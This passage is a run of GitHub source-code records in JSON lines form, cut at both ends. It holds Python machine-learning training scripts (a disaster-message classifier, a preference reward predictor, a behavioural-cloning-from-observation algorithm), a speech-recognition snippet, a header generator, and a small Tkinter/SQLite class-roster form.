sys.argv[1:]\n        print('Loading data...\\n    DATABASE: {}'.format(database_filepath))\n        X, Y, category_names = load_data(database_filepath)\n        X_train, X_test, Y_train, Y_test = train_test_split(X, Y,\n                                                            test_size=0.2)\n\n        # Build grid search model\n        print('Building model...')\n        pipeline = build_model()\n        model = build_gridsearch_model(pipeline)\n\n        print('Training grid search model on sample...')\n        # Find optimal parameters from grid search using a limited sample\n        X_train_sample = X_train.sample(n=2000, random_state=1)\n        Y_train_sample = Y_train.sample(n=2000, random_state=1)\n\n        model.fit(X_train_sample, Y_train_sample)\n\n        print(\"\\nBest Parameters:\", model.best_params_)\n        best_parameters = model.best_params_\n\n        # Return optimal parameters found by grid search and retrain model with\n        # full training dataset\n        print('Training optimised model on full set...')\n        model = build_model(best_parameters)\n\n        model.fit(X_train, Y_train)\n\n        print('Evaluating model...')\n        evaluate_model(model, X_test, Y_test, category_names)\n\n        print('Saving model...\\n    MODEL: {}'.format(model_filepath))\n        save_model(model, model_filepath)\n\n        print('Trained model saved!')\n\n    else:\n        print('Please provide the filepath of the disaster messages database '\n              'as the first argument and the filepath of the pickle file to '\n              'save the model to as the second argument. \\n\\nExample: python '\n              'train_classifier.py ../data/DisasterResponse.db classifier.pkl')\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"cchinotaikul/disaster-response-pipeline","sub_path":"models/train_classifier.py","file_name":"train_classifier.py","file_ext":"py","file_size_in_byte":7792,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"32083459479","text":"from graphics import *;\n\nwindow = GraphWin(\"Window\", 500,500);\n\nimpostertext = Text(Point(250,250), \"amogas\")\nimpostertext.setSize(30)\nimpostertext.setFace('helvetica')\nimpostertext.setTextColor('cyan')\n\nimpostertext.draw(window)\n\nwindow.getMouse();\nwindow.close();\n","repo_name":"aMNOGussusrATIO/Comp_Sci_Sem_2","sub_path":"Python/400_Graphics/403_Python_Graphics_Text/403_Python_Graphics_Text.py","file_name":"403_Python_Graphics_Text.py","file_ext":"py","file_size_in_byte":266,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"74016825151","text":"\"\"\"Class defining Linked argument Event.\"\"\"\n\nimport time\n\n\nclass ArgLinkedEventArgs(object):\n\t\"\"\"Contains event data for suppressed argument.\"\"\"\n\n\tdef __init__(self, link_name: str, arg_name: str, value: object = None, context: str = '', timestamp: time = None):\n\t\tself.link_name = link_name\n\t\tself.arg_name = arg_name\n\t\tself.value = value\n\t\tself.context = context\n\t\tself.timestamp = timestamp\n\n\tdef __str__(self):\n\t\tresult = f\"ArgLinkedEventArgs '{self.link_name}'\"\n\t\tif self.arg_name:\n\t\t\tresult += f\"argument name '{self.arg_name}'\"\n\t\tresult += f\"value: {self.value}\"\n\t\treturn result\n","repo_name":"Rohde-Schwarz/RsInstrument","sub_path":"RsInstrument/Internal/ArgLinkedEventArgs.py","file_name":"ArgLinkedEventArgs.py","file_ext":"py","file_size_in_byte":586,"program_lang":"python","lang":"en","doc_type":"code","stars":43,"dataset":"github-code","pt":"60"}
+{"seq_id":"37844237043","text":"from math import prod\nfrom typing import Any, Dict, Tuple\n\nimport gym\nimport numpy as np\nimport torch\nfrom torch import nn\nfrom tqdm import tqdm\n\n\nclass ExplicitRewardPredictor:\n    def __init__(self, predictor_net: nn.Module, device: Any = \"cpu\", lr: float = 1e-4):\n        self.device = device\n        self.predictor_net = predictor_net.to(device)\n\n        self.optimizer = torch.optim.Adam(\n            self.predictor_net.parameters(), lr=lr, weight_decay=1e-5\n        )\n        self.scheduler = torch.optim.lr_scheduler.ExponentialLR(\n            self.optimizer, gamma=0.92\n        )\n\n        self.loss_fn = nn.CrossEntropyLoss()\n\n    @classmethod\n    def from_env(cls, env: gym.Env, device: Any = \"cpu\", lr: float = 1e-4):\n        state_embed = _dense_embed(env.observation_space.shape)\n        action_embed = _dense_embed(env.action_space.shape)\n        predictor = PredictorNetwork(state_embed, action_embed)\n        return cls(predictor, device, lr)\n\n    @classmethod\n    def from_path(\n        cls,\n        path: str = \"reward_predictor_net.pt\",\n        device: Any = \"cpu\",\n        lr: float = 1e-4,\n    ):\n        predictor = torch.load(path, map_location=device)\n        return cls(predictor, device, lr)\n\n    def __call__(self, state: np.array, action: np.array) -> float:\n        state = torch.tensor(state, dtype=torch.float32).reshape(1, *state.shape)\n        action = torch.tensor(action, dtype=torch.float32).reshape(1, *action.shape)\n        return float(\n            self.predictor_net(state.to(self.device), action.to(self.device))\n            .detach()\n            .cpu()\n        )\n\n    def prefer(self, segments: Dict) -> int:\n        \"Returns 0 if left trajectory is preferred (ie predicted left reward is larger than predicted right reward).\"\n        return (\n            (\n                self.predictor_net.cumulate_on_segment(\n                    segments[\"obs_left\"].to(self.device),\n                    segments[\"act_left\"].to(self.device),\n                )\n                < self.predictor_net.cumulate_on_segment(\n                    segments[\"obs_right\"].to(self.device),\n                    segments[\"act_right\"].to(self.device),\n                )\n            )\n            .int()\n            .detach()\n            .cpu()\n        )\n\n    def save(self, path: str = \"reward_predictor_net.pt\"):\n        torch.save(self.predictor_net, path)\n\n    def load(self, path: str = \"reward_predictor_net.pt\"):\n        self.predictor_net = torch.load(path, map_location=self.device)\n\n    def train(\n        self,\n        segments: Dict,\n        epochs: int = 10,\n        batch_size: int = 32,\n        show_pregress: bool = True,\n    ):\n        \"\"\"Train the predictor on passed segment preferences, using cross entropy loss.\n\n        This is based on the idea of estimating score functions from pairwise differences. The loss depends\n        on wether the preference is assigned to the segment with the higher reward. This pushes segments\n        with preference to have a higher reward.\n\n        The segments dict should have left/right observations and activities as lists of segments, and\n        for each pair of segments a preference.\n        \"\"\"\n        if (\n            not len(segments[\"obs_left\"])\n            == len(segments[\"obs_right\"])\n            == len(segments[\"act_left\"])\n            == len(segments[\"act_right\"])\n            == len(segments[\"preferences\"])\n        ):\n            raise ValueError(\n                \"Passed segments have mismatching lengths:\\n\"\n                + \"obs left: {}, obs_right: {}, act_left: {}, act_right: {}, preferences: {}\".format(\n                    len(segments[\"obs_left\"]),\n                    len(segments[\"obs_right\"]),\n                    len(segments[\"act_left\"]),\n                    len(segments[\"act_right\"]),\n                    len(segments[\"preferences\"]),\n                )\n            )\n        if show_pregress:\n            pbar = tqdm(range(epochs))\n            pbar.clear()\n            pbar.set_description(\"Epoch {:2} Loss {:5.3f}\".format(1, 0))\n        else:\n            pbar = range(epochs)\n\n        losses = []\n        for e in pbar:\n            observation_left_dl = iter(\n                torch.utils.data.DataLoader(\n                    segments[\"obs_left\"], batch_size=batch_size, shuffle=False\n                )\n            )\n            observation_right_dl = iter(\n                torch.utils.data.DataLoader(\n                    segments[\"obs_right\"], batch_size=batch_size, shuffle=False\n                )\n            )\n            action_left_dl = iter(\n                torch.utils.data.DataLoader(\n                    segments[\"act_left\"], batch_size=batch_size, shuffle=False\n                )\n            )\n            action_right_dl = iter(\n                torch.utils.data.DataLoader(\n                    segments[\"act_right\"], batch_size=batch_size, shuffle=False\n                )\n            )\n            preference_dl = iter(\n                torch.utils.data.DataLoader(\n                    segments[\"preferences\"], batch_size=batch_size, shuffle=False\n                )\n            )\n            while True:\n                try:\n                    obs_left_batch = next(observation_left_dl)\n                    act_left_batch = next(action_left_dl)\n                    obs_right_batch = next(observation_right_dl)\n                    act_right_batch = next(action_right_dl)\n                    pref_batch = next(preference_dl)\n                    # batched obs and act have shape (batch, segment length, ...)\n                    self.optimizer.zero_grad()\n                    # get total segment reward\n                    cumulated_reward_left = self.predictor_net.cumulate_on_segment(\n                        obs_left_batch.to(self.device), act_left_batch.to(self.device)\n                    )\n                    cumulated_reward_right = self.predictor_net.cumulate_on_segment(\n                        obs_right_batch.to(self.device), act_right_batch.to(self.device)\n                    )\n                    # should have shape (batch, 2)\n                    reward_comparison = torch.stack(\n                        [cumulated_reward_left, cumulated_reward_right], axis=1\n                    )\n                    loss = self.loss_fn(reward_comparison, pref_batch.to(self.device))\n                    loss.backward()\n                    self.optimizer.step()\n                    losses.append(loss)\n                except StopIteration:\n                    break\n            self.scheduler.step()\n            if show_pregress:\n                pbar.set_description(\n                    \"Epoch {:2} Loss {:5.3f}\".format(e + 1, sum(losses) / len(losses))\n                )\n        if show_pregress:\n            pbar.close()\n\n\nclass PredictorNetwork(nn.Module):\n    def __init__(self, state_embed: nn.Module, action_embed: nn.Module) -> None:\n        super().__init__()\n        self.state_embed = state_embed\n        self.action_embed = action_embed\n        # state-action contribution control\n        self.a_1 = nn.Parameter(torch.tensor(0.5, requires_grad=True))\n        self.a_2 = nn.Parameter(torch.tensor(0.5, requires_grad=True))\n        self.predictor = nn.Sequential(\n            nn.Linear(64, 32), nn.ReLU(True), nn.Linear(32, 1), nn.Tanh()\n        )\n\n    def forward(self, state: torch.Tensor, action: torch.Tensor):\n        if len(state.shape) == 1:\n            action = state.reshape(state.shape[0], 1)\n        if len(action.shape) == 1:\n            action = action.reshape(action.shape[0], 1)\n        s_em = self.state_embed(state) * self.a_1\n        a_em = self.action_embed(action) * self.a_2\n        x = torch.add(s_em, a_em)\n        x = nn.ReLU(True)(x)\n        return self.predictor(x)\n\n    def cumulate_on_segment(self, obs: torch.Tensor, act: torch.Tensor) -> torch.Tensor:\n        return torch.sum(\n            torch.stack(\n                [\n                    self(\n                        obs.reshape(obs.shape[0], *obs.shape[2:]),\n                        act.reshape(act.shape[0], *act.shape[2:]),\n                    ).squeeze()\n                    for obs, act in zip(\n                        torch.split(obs, 1, dim=1),\n                        torch.split(act, 1, dim=1),\n                    )\n                ],\n                axis=-1,\n            ),\n            axis=-1,\n        )\n\n\ndef _dense_embed(s: Tuple):\n    return nn.Sequential(\n        nn.Linear(prod(s), 32),\n        nn.ReLU(True),\n        nn.Linear(32, 64),\n    )\n\n\ndef get_segments(\n    obs_spin: torch.Tensor,\n    act_spin: torch.Tensor,\n    obs_no_spin: torch.Tensor,\n    act_no_spin: torch.Tensor,\n) -> Dict:\n    segments = {}\n    segments[\"obs_left\"] = []\n    segments[\"obs_right\"] = []\n    segments[\"act_left\"] = []\n    segments[\"act_right\"] = []\n    segments[\"preferences\"] = []\n    for obs_1, act_1 in zip(\n        torch.split(obs_spin, 1, dim=0), torch.split(act_spin, 1, dim=0)\n    ):\n        for obs_2, act_2 in zip(\n            torch.split(obs_no_spin, 1, dim=0), torch.split(act_no_spin, 1, dim=0)\n        ):\n            obs_1 = obs_1.squeeze()\n            obs_2 = obs_2.squeeze()\n            act_1 = act_1.squeeze()\n            act_2 = act_2.squeeze()\n            # not sure if this is needed\n            if np.random.random() > 0.5:\n                segments[\"obs_left\"].append(obs_1)\n                segments[\"obs_right\"].append(obs_2)\n                segments[\"act_left\"].append(act_1)\n                segments[\"act_right\"].append(act_2)\n                # left is the one with the spin\n                segments[\"preferences\"].append(0)\n            else:\n                segments[\"obs_left\"].append(obs_2)\n                segments[\"obs_right\"].append(obs_1)\n                segments[\"act_left\"].append(act_2)\n                segments[\"act_right\"].append(act_1)\n                # right is the one with the spin\n                segments[\"preferences\"].append(1)\n    segments[\"obs_left\"] = torch.stack(segments[\"obs_left\"], dim=0)\n    segments[\"obs_right\"] = torch.stack(segments[\"obs_right\"], dim=0)\n    segments[\"act_left\"] = torch.stack(segments[\"act_left\"], dim=0)\n    segments[\"act_right\"] = torch.stack(segments[\"act_right\"], dim=0)\n    segments[\"preferences\"] = torch.tensor(segments[\"preferences\"])\n    assert segments[\"obs_left\"].shape == segments[\"obs_right\"].shape\n    assert segments[\"act_left\"].shape == segments[\"act_right\"].shape\n    return segments\n","repo_name":"gerkone/augrl-tum-adlr-ss22","sub_path":"augrl/augmentations/exrp.py","file_name":"exrp.py","file_ext":"py","file_size_in_byte":10384,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"27653279481","text":"import speech_recognition as sr\n\n#creating a Recognizer class object\nrecognizer = sr.Recognizer()\n#to get the list of all available microphones\nsr.Microphone.list_microphone_names()\n#create an object of Microphone class and assign the req microphone index from the above list\nmic = sr.Microphone(device_index=1)\n\nwith mic as source:\n    #clean any unnecessary noise\n    recognizer.adjust_for_ambient_noise(source)\n    #using listen method , to capture data until pause in speaking is detected\n    audio = recognizer.listen(source)\n\nprint(recognizer.recognize_google(audio, language='en-US'))\n","repo_name":"VlSHAL/Mini-Project-Speech-Recognition","sub_path":"Speech_recog_mic.py","file_name":"Speech_recog_mic.py","file_ext":"py","file_size_in_byte":592,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"37854259894","text":"#!/usr/bin/env python\n\nimport csv\nimport numpy as np\nimport scipy\nimport scipy.sparse\nimport scipy.sparse.csgraph as csgraph\n\nimport sys\n\nfile_name = 'hopcount.h'\n\n'''\nCompute the node-to-node spreading effect. The basic idea is to take a \nhand-entered adjacency matrix and compute the shortest path between each node\n(also stored as a matrix). The adjacency matrix is enough data that the logic\nfor writing the effect itself is then simple. To get it into the code we\ngenerate a C++ header file.\n'''\n\n# Load the data\nl = list(csv.reader(open('diamondAdjacency.csv'), quoting=csv.QUOTE_NONE))\nl2 = [[int('0'+y) for y in x] for x in l]  # to convert strings and empty to int\na = np.array(l2)\ng = csgraph.csgraph_from_dense(a, 0)\n#import code; code.interact(local=locals())\n\n# Generate a new matrix with the shortest paths between nodes.\nshortest_paths = csgraph.shortest_path(g, directed=False)\n\n\nout_file = open(file_name, 'w')\n#out_file = sys.stdout\n\nout_file.write(\n'''#ifndef __hopcount_h\n#define __hopcount_h\n\nconst unsigned char HOPCOUNTS[%d][%d] = {\n''' % shortest_paths.shape)\n\nfor row in shortest_paths:\n\tout_file.write('  ')\n\tfor entry in row:\n\t\tval = -1\n\t\ttry:\n\t\t\tval = int(entry)\n\t\texcept:\n\t\t\tpass\n\t\tout_file.write(\"%2d\" % val)\n\t\tout_file.write(', ')\n\tout_file.write('\\n')\n\nout_file.write('''};\n\n#endif\n''')\n\nout_file.close()\n\nprint(\"Generated hopcount matrix in '%s' with shape %s\" % (file_name, str(shortest_paths.shape)))\n","repo_name":"Plamena24/MIRR","sub_path":"reference/generate.py","file_name":"generate.py","file_ext":"py","file_size_in_byte":1436,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"44592841635","text":"import os\nimport os.path as osp\nfrom functools import partial\n\nimport numpy as np\nimport rlf.algos.utils as autils\nimport rlf.rl.utils as rutils\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\nfrom gym import spaces\nfrom rlf.algos.base_algo import BaseAlgo\nfrom rlf.algos.il.bc import BehavioralCloning\nfrom rlf.policies.random_policy import RandomPolicy\nfrom rlf.rl.envs import make_vec_envs_easy\nfrom rlf.rl.model import Flatten\nfrom rlf.storage.rollout_storage import RolloutStorage\nfrom torch.utils.data.sampler import BatchSampler, SubsetRandomSampler\nfrom tqdm import tqdm\n\n\nclass InvFunc(nn.Module):\n    def __init__(self, get_state_enc, obs_shape, action_size, hidden_dim=64):\n        super().__init__()\n        self.is_img = len(obs_shape) == 3\n\n        if self.is_img:\n            n = obs_shape[1]\n            m = obs_shape[2]\n            image_embedding_size = ((n - 1) // 2 - 2) * ((m - 1) // 2 - 2) * 64\n            self.head = nn.Sequential(\n                nn.Conv2d(2 * obs_shape[0], 16, (2, 2)),\n                nn.ReLU(),\n                nn.MaxPool2d((2, 2)),\n                nn.Conv2d(16, 32, (2, 2)),\n                nn.ReLU(),\n                nn.Conv2d(32, 64, (2, 2)),\n                nn.ReLU(),\n                Flatten(),\n                nn.Linear(image_embedding_size, hidden_dim),\n                nn.ReLU(),\n                nn.Linear(hidden_dim, hidden_dim),\n                nn.ReLU(),\n                nn.Linear(hidden_dim, action_size),\n            )\n        else:\n            self.head = nn.Sequential(\n                nn.Linear(2 * obs_shape[0], hidden_dim),\n                nn.ReLU(),\n                nn.Linear(hidden_dim, hidden_dim),\n                nn.ReLU(),\n                nn.Linear(hidden_dim, action_size),\n            )\n\n    def forward(self, state_1, state_2):\n        if self.is_img:\n            x = torch.cat([state_1, state_2], dim=1)\n        else:\n            x = torch.cat([state_1, state_2], dim=-1)\n\n        tmp = self.head(x)\n        return tmp\n\n\ndef select_batch(trans_idx, dataset, device, ob_shape):\n    \"\"\"\n    - trans_idx (list(int)): indices to select from dataset.\n    - dataset (list(dict)): contains a list of dictionaries with the state\n      action data.\n    \"\"\"\n    use_state_0 = []\n    use_state_1 = []\n    use_action = []\n    for i in trans_idx:\n        use_state_0.append(dataset[i][\"s0\"])\n        use_state_1.append(dataset[i][\"s1\"])\n        use_action.append(dataset[i][\"action\"])\n    use_state_0 = torch.stack(use_state_0).to(device).view(-1, *ob_shape)\n    use_state_1 = torch.stack(use_state_1).to(device).view(-1, *ob_shape)\n    true_action = torch.stack(use_action).to(device).squeeze(1)\n    return use_state_0, use_state_1, true_action\n\n\nclass BehavioralCloningFromObs(BehavioralCloning):\n    def init(self, policy, args):\n        if args.bco_alpha != 0:\n            # Adjust the amount of online experience based on args.\n            args.num_env_steps = args.bco_alpha_size * args.bco_alpha\n            args.num_steps = args.bco_alpha_size // args.num_processes\n            print(f\"Adjusted # steps to {args.num_steps}\")\n            print(f\"Adjusted # env interactions to {args.num_env_steps}\")\n\n        super().init(policy, args)\n\n        if self._arg(\"lr_env_steps\") is None and args.bco_alpha != 0:\n            # Adjust the learning rate decay steps based on the number of BC\n            # updates performed.\n            bc_updates = super().get_num_updates()\n            bco_full_updates = self.get_num_updates() + 1\n            # We perform a full BC update for each \"BCO update\". \"BCO updates\"\n            # come from the initial training and for each update from online\n            # experience determined according to alpha.\n            self.lr_updates = bc_updates * bco_full_updates\n            print(f\"Adjusted # lr updates to {self.lr_updates}\")\n\n        get_state_enc = partial(\n            self.policy.get_base_net_fn, rutils.get_obs_shape(self.policy.obs_space)\n        )\n        self.inv_func = InvFunc(\n            get_state_enc,\n            rutils.get_obs_shape(self.policy.obs_space),\n            self.action_dim,\n        )\n        self.inv_func = self.inv_func.to(self.args.device)\n        self.inv_opt = optim.Adam(self.inv_func.parameters(), lr=self.args.bco_inv_lr)\n\n    def set_env_ref(self, envs):\n        super().set_env_ref(envs)\n        self.use_envs = envs\n\n    def first_train(self, log, eval_policy, env_interface):\n        \"\"\"\n        Gathers the random experience and trains the inverse model on it.\n        \"\"\"\n        n_steps = self.args.bco_expl_steps // self.args.num_processes\n        base_data_dir = \"data/traj/bco\"\n        if not osp.exists(base_data_dir):\n            os.makedirs(base_data_dir)\n\n        loaded_traj = None\n        if self.args.bco_expl_load is not None:\n            load_path = osp.join(base_data_dir, self.args.bco_expl_load)\n            if osp.exists(load_path) and not self.args.bco_expl_refresh:\n                loaded_traj = torch.load(load_path)\n                states = loaded_traj[\"states\"]\n                actions = loaded_traj[\"actions\"]\n                dones = loaded_traj[\"dones\"]\n                print(f\"Loaded expl trajectories from {load_path}\")\n\n        if loaded_traj is None:\n            policy = RandomPolicy()\n            policy.init(\n                self.use_envs.observation_space, self.use_envs.action_space, self.args\n            )\n            rutils.pstart_sep()\n            print(\"Collecting exploration experience\")\n            states = []\n            actions = []\n            state = rutils.get_def_obs(self.use_envs.reset())\n            states.extend(state)\n            dones = [True]\n            for _ in tqdm(range(n_steps)):\n                ac_info = policy.get_action(state, None, None, None, None)\n                state, reward, done, info = self.use_envs.step(ac_info.take_action)\n                state = rutils.get_def_obs(state)\n                actions.extend(ac_info.action)\n                dones.extend(done)\n                states.extend(state)\n            rutils.pend_sep()\n            self.use_envs.reset()\n\n        if self.args.bco_expl_load is not None and loaded_traj is None:\n            # Save the data.\n            torch.save(\n                {\n                    \"states\": states,\n                    \"actions\": actions,\n                    \"dones\": dones,\n                },\n                load_path,\n            )\n            print(f\"Saved data to {load_path}\")\n\n        if self.args.bco_inv_load is not None:\n            self.inv_func.load_state_dict(torch.load(self.args.bco_inv_load))\n\n        self._update_all(states, actions, dones)\n\n    def _train_inv_func(self, trans_sampler, dataset):\n        infer_ac_losses = []\n        for i in tqdm(range(self.args.bco_inv_epochs)):\n            for trans_idx in trans_sampler:\n                use_state_0, use_state_1, true_action = select_batch(\n                    trans_idx,\n                    dataset,\n                    self.args.device,\n                    rutils.get_obs_shape(self.policy.obs_space),\n                )\n                pred_action = self.inv_func(use_state_0, use_state_1)\n                loss = autils.compute_ac_loss(\n                    pred_action,\n                    true_action.view(-1, self.action_dim),\n                    self.policy.action_space,\n                )\n                infer_ac_losses.append(loss.item())\n\n                self.inv_opt.zero_grad()\n                loss.backward()\n                self.inv_opt.step()\n        return infer_ac_losses\n\n    def _infer_inv_accuracy(self, trans_sampler, dataset):\n        total_count = 0\n        num_correct = 0\n        with torch.no_grad():\n            for trans_idx in trans_sampler:\n                use_state_0, use_state_1, true_action = select_batch(\n                    trans_idx,\n                    dataset,\n                    self.args.device,\n                    rutils.get_obs_shape(self.policy.obs_space),\n                )\n                pred_action = self.inv_func(use_state_0, use_state_1)\n                pred_class = torch.argmax(pred_action, dim=-1)\n                num_correct += (pred_class == true_action.view(-1)).float().sum()\n                total_count += float(use_state_0.shape[0])\n        return 100.0 * (num_correct / total_count)\n\n    def _update_all(self, states, actions, dones):\n        \"\"\"\n        - states (list[N+1])\n        - masks (list[N+1])\n        - actions (list[N])\n        Performs a complete update of the model by following these steps:\n            1. Train inverse function with ground truth data provided.\n            2. Infer actions in expert dataset\n            3. Train BC\n        \"\"\"\n        dataset = [\n            {\"s0\": states[i], \"s1\": states[i + 1], \"action\": actions[i]}\n            for i in range(len(actions))\n            if not dones[i + 1]\n        ]\n\n        rutils.pstart_sep()\n        print(f\"BCO Update {self.update_i}/{self.args.bco_alpha}\")\n        print(\"---\")\n\n        print(\"Training inverse function\")\n        dataset_idxs = list(range(len(dataset)))\n        np.random.shuffle(dataset_idxs)\n\n        eval_len = int(len(dataset_idxs) * self.args.bco_inv_eval_holdout)\n        if eval_len != 0.0:\n            train_trans_sampler = BatchSampler(\n                SubsetRandomSampler(dataset_idxs[:-eval_len]),\n                self.args.bco_inv_batch_size,\n                drop_last=False,\n            )\n            val_trans_sampler = BatchSampler(\n                SubsetRandomSampler(dataset_idxs[-eval_len:]),\n                self.args.bco_inv_batch_size,\n                drop_last=False,\n            )\n        else:\n            train_trans_sampler = BatchSampler(\n                SubsetRandomSampler(dataset_idxs),\n                self.args.bco_inv_batch_size,\n                drop_last=False,\n            )\n\n        if self.args.bco_inv_load is None or self.update_i > 0:\n            infer_ac_losses = self._train_inv_func(train_trans_sampler, dataset)\n            rutils.plot_line(\n                infer_ac_losses,\n                f\"ac_inv_loss_{self.update_i}.png\",\n                self.args.vid_dir,\n                not self.args.no_wb,\n                self.get_completed_update_steps(self.update_i),\n            )\n            if self.update_i == 0:\n                # Only save the inverse model on the first epoch for debugging\n                # purposes\n                rutils.save_model(\n                    self.inv_func, f\"inv_func_{self.update_i}.pt\", self.args\n                )\n\n        if eval_len != 0.0:\n            if not isinstance(self.policy.action_space, spaces.Discrete):\n                raise ValueError(\n                    (\n                        \"Evaluating the holdout accuracy is only\",\n                        \" supported for discrete action spaces right now\",\n                    )\n                )\n            accuracy = self._infer_inv_accuracy(val_trans_sampler, dataset)\n            print(\"Inferred actions with %.2f accuracy\" % accuracy)\n\n        if isinstance(self.expert_dataset, torch.utils.data.Subset):\n            s0 = self.expert_dataset.dataset.trajs[\"obs\"].to(self.args.device).float()\n            s1 = (\n                self.expert_dataset.dataset.trajs[\"next_obs\"]\n                .to(self.args.device)\n                .float()\n            )\n            dataset_device = self.expert_dataset.dataset.trajs[\"obs\"].device\n        else:\n            s0 = self.expert_dataset.trajs[\"obs\"].to(self.args.device).float()\n            s1 = self.expert_dataset.trajs[\"next_obs\"].to(self.args.device).float()\n            dataset_device = self.expert_dataset.trajs[\"obs\"].device\n\n        # Perform inference on the expert states\n        with torch.no_grad():\n            pred_actions = self.inv_func(s0, s1).to(dataset_device)\n            pred_actions = rutils.get_ac_compact(self.policy.action_space, pred_actions)\n            if not self.args.bco_oracle_actions:\n                if isinstance(self.expert_dataset, torch.utils.data.Subset):\n                    self.expert_dataset.dataset.trajs[\"actions\"] = pred_actions\n                else:\n                    self.expert_dataset.trajs[\"actions\"] = pred_actions\n        # Recreate the dataset for BC training so we can be sure it has the\n        # most recent data.\n        self._create_train_loader(self.args)\n\n        print(\"Training Policy\")\n        self.full_train(self.update_i)\n        self.update_i += 1\n        rutils.pend_sep()\n\n    def get_num_updates(self):\n        if self.args.bco_alpha == 0:\n            return 0\n        return BaseAlgo.get_num_updates(self)\n\n    def get_completed_update_steps(self, num_updates):\n        return BaseAlgo.get_completed_update_steps(self, num_updates)\n\n    def update(self, storage):\n        masks = storage.masks.view(-1, 1)\n        actions = storage.actions.view(-1, storage.actions.shape[-1])\n        obs = storage.get_def_obs_seq()\n        obs = obs.view(-1, *obs.shape[2:])\n        # Update based on collected experience from environment\n        dones = [(not bool(x)) for x in masks]\n        self._update_all(obs, actions, dones)\n        return {}\n\n    def get_storage_buffer(self, policy, envs, args):\n        # Rollout buffer to store the collected online experience\n        return RolloutStorage(\n            args.num_steps,\n            args.num_processes,\n            envs.observation_space,\n            envs.action_space,\n            args,\n        )\n\n    def get_add_args(self, parser):\n        super().get_add_args(parser)\n        parser.add_argument(\n            \"--bco-expl-steps\",\n            type=int,\n            default=1000,\n            help=\"\"\"\n                Number of random exploration steps.\n                \"\"\",\n        )\n\n        # Inverse model learning arguments.\n        parser.add_argument(\n            \"--bco-inv-lr\",\n            type=float,\n            default=0.001,\n            help=\"\"\"\n                The learning rate of the action inverse model\n                \"\"\",\n        )\n        parser.add_argument(\n            \"--bco-inv-epochs\",\n            type=int,\n            default=1,\n            help=\"\"\"\n                The number of epochs when training the inverse model. This is\n                used both for the alpha updates and the pre-alpha updates.\n                \"\"\",\n        )\n        parser.add_argument(\n            \"--bco-inv-eval-holdout\",\n            type=float,\n            default=0.0,\n            help=\"\"\"\n                The fraction of data that should be withheld when training the\n                inverse model and later used for evaluation.\n                \"\"\",\n        )\n        parser.add_argument(\n            \"--bco-inv-batch-size\",\n            type=int,\n            default=32,\n            help=\"\"\"\n                The batch size for the inverse action model training.\n                \"\"\",\n        )\n\n        # Online learning arguments.\n        parser.add_argument(\n            \"--bco-alpha\",\n            type=int,\n            default=0,\n            help=\"\"\"\n                Number of online updates.\n                \"\"\",\n        )\n        parser.add_argument(\n            \"--bco-alpha-size\",\n            type=int,\n            default=1000,\n            help=\"\"\"\n                Size of each online update.\n                \"\"\",\n        )\n        parser.add_argument(\n            \"--bco-oracle-actions\",\n            action=\"store_true\",\n            help=\"\"\"\n                Use the ground truth expert actions rather than the inferred\n                ones. FOR DEBUGGING ONLY. This does not use the learned inverse\n                model.\n                \"\"\",\n        )\n\n        # Saving files to speed things up arguments\n        parser.add_argument(\n            \"--bco-expl-load\",\n            type=str,\n            default=None,\n            help=\"\"\"\n                File to load/save the random explorations. If the file exists\n                the random explorations will be loaded from here. If it does\n                not exist the random explorations will be saved here.\n                \"\"\",\n        )\n        parser.add_argument(\n            \"--bco-expl-refresh\",\n            action=\"store_true\",\n            help=\"\"\"\n                Regenerate the random explorations even if the expl-load file\n                is specified and exists.\n                \"\"\",\n        )\n        parser.add_argument(\n            \"--bco-inv-load\",\n            type=str,\n            default=None,\n            help=\"\"\"\n                If specified the inverse model will be loaded from here and\n                not trained on the random exploration phase. However, it\n                **will** be trained on all subsequent alpha updates.\n                \"\"\",\n        )\n","repo_name":"clvrai/goal_prox_il","sub_path":"rl-toolkit/rlf/algos/il/bco.py","file_name":"bco.py","file_ext":"py","file_size_in_byte":16659,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"60"}
+{"seq_id":"3204334923","text":"from tkinter import *\r\nfrom tkinter import ttk\r\nimport sqlite3\r\nroot=Tk()\r\n\r\ndef nomes():\r\n    if not a1.get() or not au.get():\r\n        print('erro')\r\n    else:\r\n        try:\r\n            conexao = sqlite3.connect(\"exemplo.sqlite\") \r\n            cursor = conexao.cursor() \r\n            cursor.execute('''create table if not exists pessoas(nome text unique,turma text)''')\r\n            b=a1.get().upper()\r\n            c=au.get().upper()\r\n            cursor.execute('''insert into pessoas ( nome,turma ) values(?,?)''', (b,c)) \r\n            conexao.commit()                \r\n            cursor.close() \r\n            conexao.close()\r\n            print('gravado com sucesso!')\r\n        except:\r\n            print('este nome já existe')\r\ndef list_pac():\r\n        lista = []\r\n        conexao = sqlite3.connect(\"exemplo.sqlite\")\r\n        cursor = conexao.cursor()\r\n        cursor.execute(\"SELECT rowid,nome,turma FROM pessoas ORDER BY nome\")\r\n        for record in cursor:\r\n            lista.append(record[1])#0 imprime id 1 imprime nome 2 turma\r\n            print(record)\r\n        return tuple(lista)\r\ndef listar():\r\n    box['value']=list_pac()#posso colocar fora da função\r\n\r\nlb1=Label(root,text=\"nome\")\r\nlb1.grid()\r\na1=Entry(root)\r\na1.grid()\r\nlb2=Label(root,text=\"turma\")\r\nlb2.grid()\r\n# aula\r\nau = StringVar(root)\r\naa = ('1ºano mat','2ºano mat','3ºano mat','4ºano mat','5ºano mat','6ºano mat','7ºano mat','8ºano mat','9ºano mat','\\n',\r\n      '1ºano vesp','2ºano vesp','3ºano vesp','4ºano vesp','5ºano vesp','6ºano vesp','7ºano vesp','8ºano vesp','9ºano vesp')\r\n\r\noption = OptionMenu(root, au, *aa)\r\noption.grid()\r\nbt1=Button(root,text=\"gravar\",command=nomes)\r\nbt1.grid()\r\nbt2=Button(root,text=\"listar\",command=listar)\r\nbt2.grid()\r\nnomes = StringVar()\r\nbox = ttk.Combobox(root,width=50, textvariable=nomes)\r\nbox['values'] ='Nomes'\r\nbox.current(0)#indica para imprimir o primeiro intem 